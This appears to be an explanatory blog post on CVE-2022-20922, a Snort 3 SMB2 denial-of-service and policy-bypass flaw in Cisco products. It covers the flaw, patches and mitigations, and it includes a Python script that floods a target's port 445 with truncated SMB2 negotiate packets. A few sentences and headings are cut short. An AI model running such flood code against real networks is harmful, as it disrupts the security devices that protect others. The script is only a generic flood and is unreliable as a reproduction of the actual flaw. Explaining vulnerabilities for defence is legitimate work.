CVE-2022-20922 is a critical vulnerability that targets Cisco products using the Snort 3 detection engine, specifically affecting how Server Message Block Version 2 (SMB2) traffic is processed. In simple words, a flaw in the way Snort manages system resources when analyzing SMB2 packets allows remote attackers to bypass security policies or cause devices to crash, disrupting your network's protection.

This post will walk you through the vulnerability, how the exploit works, affected products, example code, and defenses — all explained in clear language.

What is SMB2, and Why Does Snort Matter?

SMB2 is a network protocol mostly used for sharing files, printers, and other resources between computers. It’s crucial for many business networks, and as such, it’s a favorite target for attackers.

Snort is an open-source network intrusion prevention and detection engine used on Cisco devices (like Cisco Firepower and Secure Firewall) to scan network traffic for malicious activity.

The Core Problem

The vulnerabilities (including CVE-2022-20922) live in how Snort 3 processes SMB2 packets.

Incorrect resource management means Snort mishandles certain SMB2 packets.

- If an attacker sends lots of special SMB2 packets through a vulnerable Cisco device, Snort can run out of resources and crash (a classic Denial of Service, or DoS).
- If a special option called preserve-connection (enabled by default) is active, attackers might also route malware right through your defenses, bypassing all security policies.

Only devices with Snort 3 are vulnerable. If your Cisco gear runs Snort 2, you’re safe from this bug.

Exploit Scenario

Imagine a hospital uses a Cisco Secure Firewall with Snort 3, with SMB2 support for file transfers. If an attacker floods the firewall with malicious SMB2 packets:

1. Denial of Service: The Snort engine chokes up and restarts, leaving the firewall blind and open for a few moments.
2. Policy Bypass: If preserve-connection is on, legitimate-looking but dangerous files might slip right through undetected.

Example Exploit (Conceptual)

Below is an example that demonstrates how an attacker could create a loop that sends SMB2 traffic to the target device. In a real attack, the packets would be crafted to specifically trigger the vulnerability.

> ⚠️ Disclaimer: This example is for educational purposes only! Do not use it against networks without explicit permission.

import socket
import struct

# Set the target (update with victim's IP and port)
target_ip = "192.168.1.100"
target_port = 445  # SMB port

# Minimal SMB2 Negotiate protocol request (truncated for demo)
smb2_negotiate = b'\x00\x00\x00\x70' \
    b'\xfeSMB' \
    b'\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
    b'\x00\x00\x00\x00'

def send_smb2_flood(ip, port, count=10000):
    for i in range(count):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            try:
                s.connect((ip, port))
                s.sendall(smb2_negotiate)
                # Optionally: s.recv(1024)
            except Exception as e:
                print(f"Connection failed on attempt {i}: {e}")

# Flood the target with SMB2 negotiate requests
send_smb2_flood(target_ip, target_port)

A massive number of these or similar SMB2 requests can exhaust the Snort process, causing a restart or bypass depending on configuration.

More Dangerous: The preserve-connection Trap

The preserve-connection option is supposed to maintain connections through Snort even if a reload or error occurs, but in this vulnerability, it means potentially harmful traffic can pass while Snort is restarting.

This option is on by default in Snort 3! That means, unless you change it, your network might be open to malware or attacks during any Snort engine crash.

Any device running Snort 3

> Devices running Snort 2 are not affected by CVE-2022-20922.

What Cisco Says

Refer to the official Cisco advisory for details and updates:  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smb2-snort-bypass-dos-6G5ZpQwA

1. Update Your Devices

Cisco has released patches. Upgrade all affected products to the latest version.

2. Check Your Snort Version

Make sure you know if you’re on Snort 2 (safe) or Snort 3 (possibly vulnerable).

3. Review Configuration

If you need to stay with Snort 3 for now,

4. Network Segmentation

Keep untrusted network sources from reaching SMB2-enabled devices.

References and Further Reading

- Cisco Security Advisory – CVE-2022-20922
- Cisco Snort 3 User Manual
- NIST CVE-2022-20922 Detail
- What is SMB? (Microsoft Docs)

Summary

CVE-2022-20922 reminds us that even advanced security engines like Snort can fall to simple resource exhaustion and configuration pitfalls. Cisco and the security community worked fast to patch it, but knowing how such vulnerabilities work—and how to defend against them—will always be your best shield.

If your organization uses Cisco security products with Snort 3, patch now, and consider reviewing those default security features. Stay safe out there!

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/22/2022 00:46:00 UTC